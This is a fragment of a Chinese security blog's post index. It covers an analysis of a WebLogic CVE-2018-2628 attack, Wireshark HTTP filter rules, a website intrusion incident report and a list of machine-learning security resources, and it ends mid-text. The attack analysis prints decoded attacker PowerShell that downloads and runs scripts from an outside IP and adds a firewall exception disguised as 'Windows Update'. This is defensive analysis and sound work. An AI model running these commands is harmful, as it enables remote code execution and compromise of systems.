}\nif (Test-Path $File) { Write-Host \u0026lsquo;[+] Downloaded\u0026rsquo; $Null = NetSH Firewall Add AllowedProgram $File \u0026ldquo;Windows Update\u0026rdquo; Enable IEX $WC.DownloadString(\u0026lsquo;101.200.45.78/images/test/WMI.ps1\u0026rsquo;) } else { Write-Host \u0026lsquo;[-] Fail To Download\u0026rsquo; }\n","permalink":"https://www.lucien116.com/archives/474/","summary":"\u003cp\u003e最近，发现有使用Oracle WebLogic RCE反序列化漏洞（CVE-2018-2628） 进行攻击的活动。\u003c/p\u003e\n\u003cp\u003e攻击者在其请求中包含了PowerShell命令，且进过base64加密：\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2019/07/123-2.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003e解码base64后代码如下：\u003c/p\u003e\n\u003cp\u003e$OS=(GWmi Win32_OperatingSystem).Caption;\n$WC=New-Object Net.WebClient;\n$WC.Headers[\u0026lsquo;User-Agent\u0026rsquo;]=\u0026ldquo;PowerShell/WL $OS\u0026rdquo;;\nIEX $WC.DownloadString(\u0026lsquo;http://101.200.45.78/images/test/DL.php\u0026rsquo;);\u003c/p\u003e\n\u003cp\u003e攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。 尝试抓取该文件：\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2019/07/123.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eERROR 404？really?\u003c/p\u003e\n\u003cp\u003e可能是我在这里遗漏了什么？ 让我们仔细分析命令：\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2019/07/2.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003e我们可以看到攻击者在获取文件时需要用特定的User-Agent。\u003cbr\u003e\n这就是为什么尝试直接wget / curl文件时，它失败了。\u003c/p\u003e\n\u003cp\u003e所以我们要做的是在获取文件时将User-Agent设置为完全相同。\u003cbr\u003e\n在这种情况下，使用curl来获取文件：\u003c/p\u003e\n\u003cp\u003eroot@leopardbox:~# curl -v -H User-Agent: \u0026ldquo;PowerShell/WL Microsoft Windows 7 Professional\u0026rdquo; http://111.230.229.226/images/test/DL.php\u003c/p\u003e\n\u003cp\u003e\\* Trying 111.230.229.226\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\\* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eGET /images/test/DL.php HTTP/1.1\u003c/p\u003e\n\u003cp\u003eHost: 111.230.229.226\u003c/p\u003e\n\u003cp\u003eAccept: */*\u003c/p\u003e\n\u003cp\u003eUser-Agent: PowerShell/WL Microsoft Windows 7 Professional \u0026lt; \u0026lt; HTTP/1.1 200 OK\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u0026lt; Date: Sun, 29 Apr 2018 11:50:23 GMT\u003c/p\u003e","title":"Oracle WebLogic漏洞攻击"},{"content":"http.host==magentonotes.com http.host contains magentonotes.com //过滤经过指定域名的http数据包，这里的host值不一定是请求中的域名\nhttp.response.code==302 //过滤http响应状态码为302的数据包\nhttp.response==1 //过滤所有的http响应包\nhttp.request==1 //过滤所有的http请求，貌似也可以使用http.request\nhttp.request.method==POST //wireshark过滤所有请求方式为POST的http请求包，注意POST为大写\nhttp.cookie contains guid //过滤含有指定cookie的http数据包\nhttp.request.uri==”/online/setpoint” //过滤请求的uri，取值是域名后的部分\nhttp.request.full_uri==” http://task.browser.360.cn/online/setpoint” //过滤含域名的整个url则需要使用http.request.full_uri\nhttp.server contains “nginx” //过滤http头中server字段含有nginx字符的数据包\nhttp.content_type == “text/html” //过滤content_type是text/html的http响应、post包，即根据文件类型过滤http数据包\nhttp.content_encoding == “gzip” //过滤content_encoding是gzip的http包\nhttp.transfer_encoding == “chunked” //根据transfer_encoding过滤\nhttp.content_length == 279 http.content_length_header == “279″ //根据content_length的数值过滤\nhttp.server //过滤所有含有http头中含有server字段的数据包\nhttp.request.version == “HTTP/1.1″ //过滤HTTP/1.1版本的http包，包括请求和响应\nhttp.response.phrase == “OK” //过滤http响应中的phrase\n原创文章，转载请注明：转载自 Web开发笔记 | Wireshark过滤规则之：http数据包\n","permalink":"https://www.lucien116.com/archives/445/","summary":"\u003cp\u003ehttp.host==magentonotes.com\nhttp.host contains magentonotes.com\n//过滤经过指定域名的http数据包，这里的host值不一定是请求中的域名\u003c/p\u003e\n\u003cp\u003ehttp.response.code==302\n//过滤http响应状态码为302的数据包\u003c/p\u003e\n\u003cp\u003ehttp.response==1\n//过滤所有的http响应包\u003c/p\u003e\n\u003cp\u003ehttp.request==1\n//过滤所有的http请求，貌似也可以使用http.request\u003c/p\u003e\n\u003cp\u003ehttp.request.method==POST\n//wireshark过滤所有请求方式为POST的http请求包，注意POST为大写\u003c/p\u003e\n\u003cp\u003ehttp.cookie contains guid\n//过滤含有指定cookie的http数据包\u003c/p\u003e\n\u003cp\u003ehttp.request.uri==”/online/setpoint”\n//过滤请求的uri，取值是域名后的部分\u003c/p\u003e\n\u003cp\u003ehttp.request.full_uri==” \u003ca href=\"http://task.browser.360.cn/online/setpoint\"\u003ehttp://task.browser.360.cn/online/setpoint\u003c/a\u003e”\n//过滤含域名的整个url则需要使用http.request.full_uri\u003c/p\u003e\n\u003cp\u003ehttp.server contains “nginx”\n//过滤http头中server字段含有nginx字符的数据包\u003c/p\u003e\n\u003cp\u003ehttp.content_type == “text/html”\n//过滤content_type是text/html的http响应、post包，即根据文件类型过滤http数据包\u003c/p\u003e\n\u003cp\u003ehttp.content_encoding == “gzip”\n//过滤content_encoding是gzip的http包\u003c/p\u003e\n\u003cp\u003ehttp.transfer_encoding == “chunked”\n//根据transfer_encoding过滤\u003c/p\u003e\n\u003cp\u003ehttp.content_length == 279\nhttp.content_length_header == “279″\n//根据content_length的数值过滤\u003c/p\u003e\n\u003cp\u003ehttp.server\n//过滤所有含有http头中含有server字段的数据包\u003c/p\u003e\n\u003cp\u003ehttp.request.version == “HTTP/1.1″\n//过滤HTTP/1.1版本的http包，包括请求和响应\u003c/p\u003e\n\u003cp\u003ehttp.response.phrase == “OK”\n//过滤http响应中的phrase\u003c/p\u003e\n\u003cp\u003e原创文章，转载请注明：转载自 \u003cstrong\u003e\u003ca href=\"https://www.magentonotes.com/\"\u003eWeb开发笔记\u003c/a\u003e\u003c/strong\u003e | \u003ca href=\"https://www.magentonotes.com/wireshark-filter-http-packet.html\"\u003eWireshark过滤规则之：http数据包\u003c/a\u003e\u003c/p\u003e","title":"Wireshark过滤规则之：http数据包"},{"content":"通过监测发现，2018-8-28-15：30左右安全设备产生大量“上传漏洞攻击”和“一句话木马”的告警，发现攻击源为IP:110.185.170.221 地理位置：四川成都；被攻击IP：10.100.250.15 端口：81 ，该服务器为xxx公司网站英文版（www.xxx.com），如下图：\n图1-告警信息\n通过对告警流量的分析，发现攻击者通过发送POST请求向site.aspx页面提交并执行了一段代码(代码经过BASE64编码)，随后网站返回了一个含有一句话木马内容的页面，正是这段一句话木马的内容触发的告警，如下图：\n图2-发现一句话后门文件\n随后对攻击者提交的POST数据进行分析，通过对BASE64编码的代码解码后，发现其最终执行的代码为：I:\\website\\xxx.com\\aaa.asp （访问xxx.com网站根目录下的aaa.asp文件），而这个aaa.asp正是一个一句话后门。由此可以证实该网站已经被植入一句话木马，而site.aspx页面能够执行命令且查看文件的行为也很可疑。\n通过对攻击IP：110.185.170.221的流量回溯分析后发现，从8月28日9:52开始改IP便开始对服务器10.00.250.15的80、81端口发起WEB扫描，如下图：\n图3-web扫描\n对HTTP访问日志的分析后发现，攻击者访问频率最高的为http://www.xxx.com.hk/Login.aspx和http://xxx.xx.xx.77:81/Upload/9/2000/site.aspx两个页面，如下图：\n图4-1-页面访问\n图4-2-页面访问\n接着着重对这两个页面的数据进行分析。通过分析发现页面http://www.xxx.com.hk/Login.aspx为网站后台登录页面， 简单测试后发现该登陆页面没有设置登陆尝试次数限制和验证码等安全措施，且没有过滤用户的输入，存在SQL注入漏洞和暴力破解的风险，如下图：\n图5-Login.aspx\n分析相关数据包发现，攻击者正利用此页面发起暴力破解攻击和SQL注入攻击，如下图：\n图6-暴力破解攻击\n暴力破解不成功，随后发起SQL注入攻击，如下图:\n图6- SQL注入攻击\n攻击者通过sql注入漏洞，成功获取了用户名为“yangfang”的账号和登录密码并登录账号进入了后台，如下图：\n图6-攻击者使用yangfang账号登录\n登录后台后，从HTTP访问日志中可以发现攻击者便开始频繁访问http://xxx.xxx.xx.77:81/Upload/9/2000/site.aspx页面。这个site.aspx文件到底是网站原有的文件还是攻击者上传的可疑文件呢？\n于是，先找到攻击者第一次访问site.aspx页面时的HTTP日志，发现在访问site.aspx页面之前攻击者还先POST请求了一个/visual.aspx?ucfi=\u0026amp;EVENT=***的页面，如下图：\n图7- 上传页面\n随后找到访问该页面时的流量，通过流量分析，发现该页面为后台文件管理的页面，攻击者通过此页面上传了site.aps文件到/Upload/9/2000目录下，从流量中可以看到site.aspx也是一个后门文件，如下图：\n图8-上传一句话木马site.aspx\n之后经证实，由于该页面未对上传的文件做任何检测和限制，攻击者正是通过此页面轻松上传了这个一句话木马文件site.aspx。\n图7-文件上传点\n在之后的分析中，同时在/Upload/9/2000目录下还发现了多个其他的后门文件，如下图：\n图9-其他后门文件\n由此可见该服务器早已经被多人控制，且上传了各种后门文件和程序，不排除攻击者通过后门已经提权成功获取了对整个服务器的控制权限。由于网站目录文件较多，且服务器上不止存在一个网站，建议及时删除已知的后门，并对网站全站以及服务器进行深入排查。\n","permalink":"https://www.lucien116.com/archives/418/","summary":"\u003cp\u003e通过监测发现，2018-8-28-15：30左右安全设备产生大量“上传漏洞攻击”和“一句话木马”的告警，发现攻击源为IP:110.185.170.221 地理位置：四川成都；被攻击IP：10.100.250.15 端口：81 ，该服务器为xxx公司网站英文版（www.xxx.com），如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1-告警信息\u003c/p\u003e\n\u003cp\u003e       通过对告警流量的分析，发现攻击者通过发送POST请求向site.aspx页面提交并执行了一段代码(代码经过BASE64编码)，随后网站返回了一个含有一句话木马内容的页面，正是这段一句话木马的内容触发的告警，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/3.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/3.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图2-发现一句话后门文件\u003c/p\u003e\n\u003cp\u003e       随后对攻击者提交的POST数据进行分析，通过对BASE64编码的代码解码后，发现其最终执行的代码为：I:\\website\\xxx.com\\aaa.asp （访问xxx.com网站根目录下的aaa.asp文件），而这个aaa.asp正是一个一句话后门。由此可以证实该网站已经被植入一句话木马，而site.aspx页面能够执行命令且查看文件的行为也很可疑。\u003c/p\u003e\n\u003cp\u003e通过对攻击IP：110.185.170.221的流量回溯分析后发现，从8月28日9:52开始改IP便开始对服务器10.00.250.15的80、81端口发起WEB扫描，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/5.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/5.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图3-web扫描\u003c/p\u003e\n\u003cp\u003e      对HTTP访问日志的分析后发现，攻击者访问频率最高的为http://www.xxx.com.hk/Login.aspx和http://xxx.xx.xx.77:81/Upload/9/2000/site.aspx两个页面，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/6.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/6.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图4-1-页面访问\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/7.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/7.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图4-2-页面访问\u003c/p\u003e\n\u003cp\u003e       接着着重对这两个页面的数据进行分析。通过分析发现页面http://www.xxx.com.hk/Login.aspx为网站后台登录页面， 简单测试后发现该登陆页面没有设置登陆尝试次数限制和验证码等安全措施，且没有过滤用户的输入，存在SQL注入漏洞和暴力破解的风险，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/8.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/8.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图5-Login.aspx\u003c/p\u003e\n\u003cp\u003e       分析相关数据包发现，攻击者正利用此页面发起暴力破解攻击和SQL注入攻击，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/9.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/9.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图6-暴力破解攻击\u003c/p\u003e\n\u003cp\u003e       暴力破解不成功，随后发起SQL注入攻击，如下图:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/sql.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/sql.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图6- SQL注入攻击\u003c/p\u003e\n\u003cp\u003e       攻击者通过sql注入漏洞，成功获取了用户名为“yangfang”的账号和登录密码并登录账号进入了后台，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/11.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/11.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图6-攻击者使用yangfang账号登录\u003c/p\u003e\n\u003cp\u003e       登录后台后，从HTTP访问日志中可以发现攻击者便开始频繁访问http://xxx.xxx.xx.77:81/Upload/9/2000/site.aspx页面。这个site.aspx文件到底是网站原有的文件还是攻击者上传的可疑文件呢？\u003c/p\u003e\n\u003cp\u003e于是，先找到攻击者第一次访问site.aspx页面时的HTTP日志，发现在访问site.aspx页面之前攻击者还先POST请求了一个/visual.aspx?ucfi=\u0026amp;EVENT=***的页面，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/15-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/15-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图7- 上传页面\u003c/p\u003e\n\u003cp\u003e       随后找到访问该页面时的流量，通过流量分析，发现该页面为后台文件管理的页面，攻击者通过此页面上传了site.aps文件到/Upload/9/2000目录下，从流量中可以看到site.aspx也是一个后门文件，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/16.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/16.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图8-上传一句话木马site.aspx\u003c/p\u003e\n\u003cp\u003e       之后经证实，由于该页面未对上传的文件做任何检测和限制，攻击者正是通过此页面轻松上传了这个一句话木马文件site.aspx。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/12.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/12.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图7-文件上传点\u003c/p\u003e\n\u003cp\u003e       在之后的分析中，同时在/Upload/9/2000目录下还发现了多个其他的后门文件，如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/08/17.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/08/17.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图9-其他后门文件\u003c/p\u003e\n\u003cp\u003e       由此可见该服务器早已经被多人控制，且上传了各种后门文件和程序，不排除攻击者通过后门已经提权成功获取了对整个服务器的控制权限。由于网站目录文件较多，且服务器上不止存在一个网站，建议及时删除已知的后门，并对网站全站以及服务器进行深入排查。\u003c/p\u003e","title":"对某集团网站被入侵后的分析"},{"content":"外媒 KDnuggets 刊登了一篇机器学习与网络安全相关的资料大汇总，文中列出了相关数据源的获取途径，优秀的论文和书籍，以及丰富的教程。大部分都是作者在日常工作和学习中亲自使用并认为值得安利的纯干货。\n数据源 SecRepo.com 网站，该网站汇聚了大量的与机器学习和网络安全相关的数据源，并提供免费下载。据网站首页介绍，所有可用的数据源包含两个部分：一是网站方面自己整理的，二是来自第三方的。其内容包括互联网扫描数据，恶意软件源码，以及和网络安全相关的系统日志等。\n论文 1. Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks\n本文来自卡内基梅隆大学，分析了通用符号密码的脆弱性，以及目前常见的密码健壮性检验的各种缺点，甚至给出了他们在实验室利用神经网络算法攻破各种符号密码的具体步骤，非常强大。\n2. Outside the Closed World: On Using Machine Learning for Network Intrusion Detection\n本文来自加州伯克利大学，分析了利用机器学习探测网络安全的优势和劣势，并给出了一些改善这些劣势的解决方案。\n3. Anomalous Payload-Based Network Intrusion Detection\n通常一个互联网上的恶意请求都会在真正的恶意代码外部包装一层善意的外衣，这大大阻碍了相关探测程序的正常工作。来自哥伦比亚大学的Ke Wang和Salvatore J. Stolfo两位学者在本文中给出了一种全新的探测恶意代码中有效代码段的方法，并在实测中达到了接近100%正确率和0.1%的误报率。\n4. Malicious PDF detection using metadata and structural features\n当前，随着防范措施的升级，恶意代码隐藏在PDF和Word等文本文件中的例子屡见不鲜，用户防不胜防。在本文中，来自乔治梅森大学的学者介绍了一种通过机器学习技术探测恶意文本文件的技术，特别是内含恶意代码的PDF文件。\n5. Adversarial support vector machine learning\n来自德州大学，介绍了两种利用机器学习技术探测网络恶意攻击的分析模型，即无边界攻击模型（free-range attack model）和限制边界攻击模型（restrained attack model）。\n6. Exploiting machine learning to subvert your spam filter\n垃圾邮件过滤系统不算什么高新技术，但如何提升过滤的准确性一直是一个难题。本文中来自加州伯克利大学的学者们介绍了一种基于机器学习开发的垃圾邮件过滤器，为垃圾邮件的过滤提供了一种全新的实现思路。\n以下论文来自 covert.io 网站，该网站的论文（或博客）数量庞大，但并不像上文提到的那些论文一样全部来自美国高校，covert.io 的文章也来自各大科技公司和研究所。\n7. CAMP: Content-Agnostic Malware Protection\n来自谷歌，介绍了一种名为CAMP的恶意软件保护系统，该系统能够通过对二进制可执行文件的探测，确保互联网的软件应用安全。\n8. Building a Dynamic Reputation System for DNS\nDNS服务器一直是互联网中非常重要的组成部分，针对目前越来越流行的DNS攻击，来自乔治亚理工学院的学者介绍了一种名为Notos的动态的域名信誉系统，可以有效防范各种针对DNS服务器的匿名的网络黑客攻击。\n9. Detecting malware domains at the upper dns hierarchy\n本文介绍了一种名为Kopis的新型域名检测系统，可以有效探测互联网上包含恶意攻击代码的域名，由网络安全公司Damballa、乔治亚理工学院和乔治亚大学联合研发。\n10. From Throw-away Traffic To Bots – Detecting The Rise Of DGA-based Malware\n本文同样来自Damballa公司和乔治亚大学，介绍了一种针对僵尸网络的新技术，该技术够探测来自动态域名系统的恶意攻击，整合了聚合和分类两类算法。\n11. EXPOSURE: Finding Malicious Domains Using Passive DNS Analysis\nDNS服务器成为了越来越多黑客的攻击对象，本文介绍了一种名为EXPOSURE的域名分析系统，可以针对大批量的域名恶意访问进行探测，由Eurecom研究所、波士顿东北大学和加州大学共同研发。\n12. Polonium: Tera-Scale Graph Mining for Malware Detection\n本文来自网络安全公司Symantec、卡内基梅隆大学，介绍了一个名为Polonium的高效的可扩展的恶意软件探测系统。\n13. Nazca: Detecting Malware Distribution in Large-Scale Networks\n大量用户在现实生活中下载并安装恶意软件的行为通常包含一定的规律性。来自加州大学圣巴巴拉分校、Narus公司的学者们将这些无人问津的数据利用起来，提出了一个名为Nazca的网络安全探测系统。\n14. Anagram: A Content Anomaly Detector Resistant to Mimicry Attack\n来自哥伦比亚大学，介绍了一个名为Anagram的异常数据报文探测器。\n书籍 讲述数据科学和机器学习在网络安全领域的应用的书籍并不多，作者只介绍了以下两本。\n1. Data Mining and Machine Learning in Cybersecurity\n作者是来自路易斯安那理工大学的Sumeet Dua博士和Xian Du博士，探讨了目前普遍存在的网络安全问题以及最先进的机器学习和数据挖掘解决方案。\n2. Machine Learning and Data Mining for Computer Security\n编者是来自乔治城大学的Marcus A. Maloof，该书系统介绍了数据挖掘和机器学习技术在计算机安全领域的最新研究成果。\n目前两本书都没有中文版，纸质版在亚马逊上的售价都超过1000人民币，第一本有Kindle电子版。\n演讲 原文作者收集了如下一些关于机器学习和网络安全的演讲，演讲者们要么是来自相关领域的公司副总、技术负责人，要么是各大高校的研究人员、博士或者教授。\n1. Using Machine Learning to Support Information Security\n视频系统介绍了机器学习在信息安全领域的应用，时长约1小时。\n2. Defending Networks with Incomplete Information\n要在限定的时间内（通常是24小时）对恶意攻击做出反应通常需要耗费巨大的人力和物力，但是如果利用机器学习的方法，首先对网络攻击进行优先级和攻击方式分类，甚至处理一些简单的套路式的攻击，则可以大大降低网络安全工程师的工作强度。本视频就介绍了这一思路的具体应用，时长约47分钟。\n3. Applying Machine Learning to Network Security Monitoring\n这个视频介绍了如何将机器学习应用于网络安全探测，时长约1小时。\n4. Measuring the IQ of your Threat Intelligence Feed\n目前互联网上存在着各种各样的网络安全的探测系统，但是用户对它们褒贬不一，究竟如何判断一个探测系统的可靠性，视频介绍了一种实用的判断方法，时长约40分钟。\n5. Data-Driven Threat Intelligence: Metrics On Indicator Dissemination And Sharing\n视频介绍了数据驱动下的安全情报分析，特别是和社交网络分享和传播相关的，时长约48分钟。\n6. Applied Machine Learning for Data Exfil and Other Fun Topics\n为了帮助网络安全相关的研究者、分析师和极客爱好者了解机器学习，以及如何将机器学习应用在网络安全中领域中，例如数据泄露，本视频做了详细介绍，时长约43分钟。\n7. Secure Because Math: A Deep-Dive on ML-Based Monitoring\n视频介绍了以机器学习技术为基础的互联网监控，时长约46分钟。\n8. Machine Duping 101: Pwning Deep Learning Systems\n44分钟教你攻克一个深度学习系统，必看系列。\n9. Weaponizing Data Science for Social Engineering\n视频介绍了社交网络中的恶意攻击行为和数据科学对此可能发挥的作用，时长约44分钟。\n10. Defeating Machine Learning What Your Security Vendor Is Not Telling You\n还是关于攻破机器学习的话题，视频介绍了如何攻破以机器学习为基础的互联网安全产品，时长约50分钟。\n11. CrowdSource: Crowd Trained Machine Learning Model for Malware Capability Det\n视频介绍了如何利用机器学习模型来探测互联网安全，时长约28分钟。\n12. Defeating Machine Learning: Systemic Deficiencies for Detecting Malware\n系统的“缺陷”也能用来探测恶意软件？这个视频用45分钟为你详细讲解利用机器学习和系统“缺陷”来探测恶意软件的方法。\n13. Packet Capture Village – Theodora Titonis – How Machine Learning Finds Malware\n视频介绍了如何利用机器学习探测移动端恶意软件，时长约44分钟。\n14. Build an Antivirus in 5 Min – Fresh Machine Learning\n视频用5分钟介绍了如何用互联网上开源的机器学习框架编写一个全新的防病毒程序。\n15. Hunting for Malware with Machine Learning\n视频介绍了针对企业用户的自动化恶意软件探测系统，时长约48分钟。\n项目和教程 1. Click Security Data Hacking Project\n该项目包含了一系列与IPython、Pandas、Scikit Learn相关的练习，包含笔记和原代码，每个练习都会故意设置一些常见的代码错误、数据库错误和逻辑错误供使用者改正。该系列教程几乎是机器学习在信息安全领域应用的必学教程。\n2. Using Neural Networks to generate human readable passwords\n链接中是一位大神自己编写的一个基于Keras框架和python语言的密码生成器，利用了深度神经网络原理，在保证密码安全性的同时也保证了易读性。该项目的代码已经在Github上开源，可以结合上文提到的论文 《Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks》 一起学习。\n原代码： 链接 3. Machine Learning based Password Strength Classification\n该项目关于用机器学习算法判断一个已知密码的健壮性，代码已经在Github上开源。\n源代码： 链接 4. Using Machine Learning to Detect Malicious URLs\n该项目关于如何利用机器学习探测恶意的互联网链接地址，据称可以达到98%的正确率。\n源代码： 链接 5. Big Data and Data Science for Security and Fraud Detection\n这是一篇综述文章，文中介绍了多个国家/地区/大公司正在使用或研发的大数据分析工具和技术，这些技术结合了文本挖掘、机器学习或者网络分析，能够在早期阶段对网络安全威胁进行检测和预防。\n6. Using deep learning to break a Captcha system\n这是一篇博客文章，介绍了如何利用深度学习技术破解烦人的验证码系统，作者在文中给出了部分关键功能模块的源代码，并且在文末还给出了许多参考链接。\n7. Data Mining for Cyber Security\n这是斯坦福大学开设的一个系列公开课，关于数据挖掘在互联网安全中的应用。在链接中可以直接看到课程安排，下载到讲师演讲的文本记录、PPT，查看课后作业的题目和此前同学上传的答案，以及课后的深入阅读列表。这一课程可能是数据科学目前在网络安全领域已经公开的最好的课程之一。\n其他 1. System predicts 85 percent of cyber-attacks using input from human experts\n这是一篇研究成果介绍的文章，介绍了来自MIT计算机科学与人工智能实验室（CSAIL）和一家机器学习初创公司PatternEx的最新研究成果：一个名为AI2的人工智能平台，能够根据人类网络安全专家输入的数据，对当前网络可能遭到的安全威胁做出预测，正确率高达85%，超越了目前已知的其他同类预测系统。文中通过文字和视频的方式讲解了这一预测系统的基本工作原理。\n2. MLSec\n这是一个开源项目相关的网站，该网站聚合了一系列将机器学习技术应用于网络安全领域的开源项目，同时还开设了博客文章和社区讨论频道，帮助开发者对这些项目深入理解。\n3. An Introduction to Machine Learning for Cybersecurity and Threat Hunting\n这是一篇深度文章，通过与几位数据科学大牛访谈的形式，详细介绍了机器学习和网络安全的关系以及相关应用。\n以上只是这位外国大牛的总结，如果你手里也有一些值得安利的干货和资源，不妨在文末留言分享出来吧！\n附原文作者简介：Faizan Ahmad，Fulbright 计划大学生，目前在巴基斯坦国立计算机与新兴科学大学（National University of Computer and Emerging ScienCES）学习，同时在巴基斯坦的拉合尔管理科学大学（Lahore University of Management Sciences）担任研究助理，主攻计算机和网络安全研究方向。\n来源： kdnuggets\n","permalink":"https://www.lucien116.com/archives/407/","summary":"\u003cp\u003e外媒 KDnuggets 刊登了一篇机器学习与网络安全相关的资料大汇总，文中列出了相关数据源的获取途径，优秀的论文和书籍，以及丰富的教程。大部分都是作者在日常工作和学习中亲自使用并认为值得安利的纯干货。\u003c/p\u003e\n\u003ch2 id=\"数据源\"\u003e数据源\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"http://www.secrepo.com/\"\u003eSecRepo.com\u003c/a\u003e 网站，该网站汇聚了大量的与机器学习和网络安全相关的数据源，并提供免费下载。据网站首页介绍，所有可用的数据源包含两个部分：一是网站方面自己整理的，二是来自第三方的。其内容包括互联网扫描数据，恶意软件源码，以及和网络安全相关的系统日志等。\u003c/p\u003e\n\u003ch2 id=\"论文\"\u003e论文\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/melicher\"\u003e\u003cstrong\u003e1. Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文来自卡内基梅隆大学，分析了通用符号密码的脆弱性，以及目前常见的密码健壮性检验的各种缺点，甚至给出了他们在实验室利用神经网络算法攻破各种符号密码的具体步骤，非常强大。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://ieeexplore.ieee.org/document/5504793/\"\u003e\u003cstrong\u003e2. Outside the Closed World: On Using Machine Learning for Network Intrusion Detection\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文来自加州伯克利大学，分析了利用机器学习探测网络安全的优势和劣势，并给出了一些改善这些劣势的解决方案。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://link.springer.com/chapter/10.1007/978-3-540-30143-1_11\"\u003e\u003cstrong\u003e3. Anomalous Payload-Based Network Intrusion Detection\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e通常一个互联网上的恶意请求都会在真正的恶意代码外部包装一层善意的外衣，这大大阻碍了相关探测程序的正常工作。来自哥伦比亚大学的Ke Wang和Salvatore J. Stolfo两位学者在本文中给出了一种全新的探测恶意代码中有效代码段的方法，并在实测中达到了接近100%正确率和0.1%的误报率。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://dl.acm.org/citation.cfm?id=2420987\"\u003e\u003cstrong\u003e4. Malicious PDF detection using metadata and structural features\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e当前，随着防范措施的升级，恶意代码隐藏在PDF和Word等文本文件中的例子屡见不鲜，用户防不胜防。在本文中，来自乔治梅森大学的学者介绍了一种通过机器学习技术探测恶意文本文件的技术，特别是内含恶意代码的PDF文件。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://dl.acm.org/citation.cfm?id=2339697\"\u003e\u003cstrong\u003e5. Adversarial support vector machine learning\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e来自德州大学，介绍了两种利用机器学习技术探测网络恶意攻击的分析模型，即无边界攻击模型（free-range attack model）和限制边界攻击模型（restrained attack model）。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://dl.acm.org/citation.cfm?id=1387709.1387716\"\u003e\u003cstrong\u003e6. Exploiting machine learning to subvert your spam 